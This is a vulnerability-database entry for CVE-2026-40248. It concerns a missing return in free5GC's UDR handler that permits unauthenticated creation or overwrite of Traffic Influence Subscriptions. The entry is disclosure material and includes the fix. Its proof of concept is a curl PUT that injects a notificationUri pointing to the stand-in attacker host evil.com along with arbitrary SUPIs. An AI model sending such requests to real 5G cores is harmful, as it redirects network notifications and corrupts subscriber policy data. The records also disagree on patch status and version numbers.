Vulnerability-Lookup

CVE-2026-40248 (GCVE-0-2026-40248)

Vulnerability from cvelistv5 – Published: 2026-04-16 21:57 – Updated: 2026-04-16 21:57

Title

free5gc UDR improper path validation allows unauthenticated creation and modification of Traffic Influence Subscriptions

Summary

free5GC is an open-source implementation of the 5G core network. In versions 4.2.1 and below of the UDR service, the handler for creating or updating Traffic Influence Subscriptions checks whether the influenceId path segment equals subs-to-notify, but does not return after sending the HTTP 404 response when validation fails. Execution continues and the subscription is created or overwritten regardless. An unauthenticated attacker with access to the 5G Service Based Interface can create or overwrite arbitrary Traffic Influence Subscriptions, including injecting attacker-controlled notificationUri values and arbitrary SUPIs, by supplying any value for the influenceId path segment. A patched version was not available at the time of publication.

Severity ?

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CWE

CWE-285 - Improper Authorization
CWE-636 - Not Failing Securely ('Failing Open')

Assigner

GitHub_M

References

URL

Tags

https://github.com/free5gc/free5gc/security/advis…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	free5gc	free5gc	Affected: <= 1.4.2

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JSON

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{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "free5gc",
          "vendor": "free5gc",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 1.4.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "free5GC is an open-source implementation of the 5G core network. In versions 4.2.1 and below of the UDR service, the handler for creating or updating Traffic Influence Subscriptions checks whether the influenceId path segment equals subs-to-notify, but does not return after sending the HTTP 404 response when validation fails. Execution continues and the subscription is created or overwritten regardless. An unauthenticated attacker with access to the 5G Service Based Interface can create or overwrite arbitrary Traffic Influence Subscriptions, including injecting attacker-controlled notificationUri values and arbitrary SUPIs, by supplying any value for the influenceId path segment. A patched version was not available at the time of publication."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-285",
              "description": "CWE-285: Improper Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-636",
              "description": "CWE-636: Not Failing Securely (\u0027Failing Open\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-16T21:57:13.101Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/free5gc/free5gc/security/advisories/GHSA-jgq2-qv8v-5cmj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-jgq2-qv8v-5cmj"
        }
      ],
      "source": {
        "advisory": "GHSA-jgq2-qv8v-5cmj",
        "discovery": "UNKNOWN"
      },
      "title": "free5gc UDR improper path validation allows unauthenticated creation and modification of Traffic Influence Subscriptions"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-40248",
    "datePublished": "2026-04-16T21:57:13.101Z",
    "dateReserved": "2026-04-10T17:31:45.786Z",
    "dateUpdated": "2026-04-16T21:57:13.101Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-40248\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-04-16T22:16:38.657\",\"lastModified\":\"2026-04-16T22:16:38.657\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"free5GC is an open-source implementation of the 5G core network. In versions 4.2.1 and below of the UDR service, the handler for creating or updating Traffic Influence Subscriptions checks whether the influenceId path segment equals subs-to-notify, but does not return after sending the HTTP 404 response when validation fails. Execution continues and the subscription is created or overwritten regardless. An unauthenticated attacker with access to the 5G Service Based Interface can create or overwrite arbitrary Traffic Influence Subscriptions, including injecting attacker-controlled notificationUri values and arbitrary SUPIs, by supplying any value for the influenceId path segment. A patched version was not available at the time of publication.\"}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.7,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-285\"},{\"lang\":\"en\",\"value\":\"CWE-636\"}]}],\"references\":[{\"url\":\"https://github.com/free5gc/free5gc/security/advisories/GHSA-jgq2-qv8v-5cmj\",\"source\":\"security-advisories@github.com\"}]}}"
  }
}

GHSA-JGQ2-QV8V-5CMJ

Vulnerability from github – Published: 2026-04-14 20:00 – Updated: 2026-04-14 20:00

Summary

free5gc UDR improper path validation allows unauthenticated creation and modification of Traffic Influence Subscriptions

Details

Summary

An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to create or overwrite Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.

Details

The endpoint PUT /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.

In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:

The function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutin ./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.gochecks whether influenceId != "subs-to-notify".
If the value is different, it calls c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards.
Execution continues, the request body is still parsed, and the handler calls s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(c, subscriptionId, &trafficInfluSub).
The processor creates or updates the subscription identified by subscriptionId even though the path is invalid and the request should have been rejected.

As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still successfully create or modify the target subscription in the UDR.

The missing return after sending the 404 response in api_datarepository.go is the root cause of this vulnerability.

PoC

No authentication is required. The attacker can choose an arbitrary subscriptionId.

curl -v -X PUT "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid" \
  -H "Content-Type: application/json" \
  -d '{
    "notificationUri":"http://evil.com",
    "dnns":["internet"],
    "supis":["imsi-999999999999999"]
  }'

Response:

HTTP/1.1 404 Not Found
404 page not found{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}

Now verify that the object was actually written:

curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid"

Response:

{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}

Impact

This is an unauthenticated unauthorized write vulnerability. Any attacker with network access to the SBI can create or overwrite Traffic Influence Subscriptions by choosing an arbitrary subscriptionId, even when using an invalid path that should have been rejected.

This allows injection of attacker-controlled subscription data, including arbitrary SUPIs and attacker-controlled notificationUri values. Depending on deployment behavior, this may enable malicious redirection of policy-related notifications, corruption of subscription state, or disruption of legitimate network policy logic.

The attack is also difficult to detect because the API returns a misleading 404 Not Found response even when the write operation is actually performed.

Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).

Patch

The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut:

if influenceId != "subs-to-notify" {
    c.String(http.StatusNotFound, "404 page not found")
    return
}

With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not create or modify subscription data.

Severity ?

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/udr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-636"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T20:00:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to create or overwrite Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected `subs-to-notify` path segment.\n\n### Details\nThe endpoint `PUT /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId}` is intended to only operate on Traffic Influence Subscription resources when `influenceId` is exactly `subs-to-notify`.\n\nIn the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:\n\n1. The function `HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut`in `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go`checks whether `influenceId != \"subs-to-notify\"`.\n2. If the value is different, it calls `c.String(http.StatusNotFound, \"404 page not found\")`, **but it does not return afterwards**.\n3. Execution continues, the request body is still parsed, and the handler calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(c, subscriptionId, \u0026trafficInfluSub)`.\n4. The processor creates or updates the subscription identified by `subscriptionId` even though the path is invalid and the request should have been rejected.\n\nAs a result, an attacker can send a request to an invalid path, receive an apparent `404 page not found` response, and still successfully create or modify the target subscription in the UDR.\n\nThe missing `return` after sending the 404 response in `api_datarepository.go` is the root cause of this vulnerability.\n\n### PoC\nNo authentication is required. The attacker can choose an arbitrary `subscriptionId`.\n\n```bash\ncurl -v -X PUT \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"notificationUri\":\"http://evil.com\",\n    \"dnns\":[\"internet\"],\n    \"supis\":[\"imsi-999999999999999\"]\n  }\u0027\n```\n\nResponse:\n```\nHTTP/1.1 404 Not Found\n404 page not found{\"dnns\":[\"internet\"],\"supis\":[\"imsi-999999999999999\"],\"notificationUri\":\"http://evil.com\"}\n```\nNow verify that the object was actually written:\n\n```bash\ncurl -v \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid\"\n```\nResponse:\n```json\n{\"dnns\":[\"internet\"],\"supis\":[\"imsi-999999999999999\"],\"notificationUri\":\"http://evil.com\"}\n```\n### Impact\nThis is an unauthenticated unauthorized write vulnerability. Any attacker with network access to the SBI can create or overwrite Traffic Influence Subscriptions by choosing an arbitrary subscriptionId, even when using an invalid path that should have been rejected.\n\nThis allows injection of attacker-controlled subscription data, including arbitrary SUPIs and attacker-controlled notificationUri values. Depending on deployment behavior, this may enable malicious redirection of policy-related notifications, corruption of subscription state, or disruption of legitimate network policy logic.\n\nThe attack is also difficult to detect because the API returns a misleading 404 Not Found response even when the write operation is actually performed.\n\nImpacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).\n\n### Patch\nThe vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go,\nfunction HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut:\n\n```go\nif influenceId != \"subs-to-notify\" {\n    c.String(http.StatusNotFound, \"404 page not found\")\n    return\n}\n```\nWith the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not create or modify subscription data.",
  "id": "GHSA-jgq2-qv8v-5cmj",
  "modified": "2026-04-14T20:00:45Z",
  "published": "2026-04-14T20:00:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-jgq2-qv8v-5cmj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/udr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "free5gc UDR improper path validation allows unauthenticated creation and modification of Traffic Influence Subscriptions"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-40248 (GCVE-0-2026-40248)

GHSA-JGQ2-QV8V-5CMJ

Summary

Details

PoC

Impact

Patch

Tags

Sightings

Nomenclature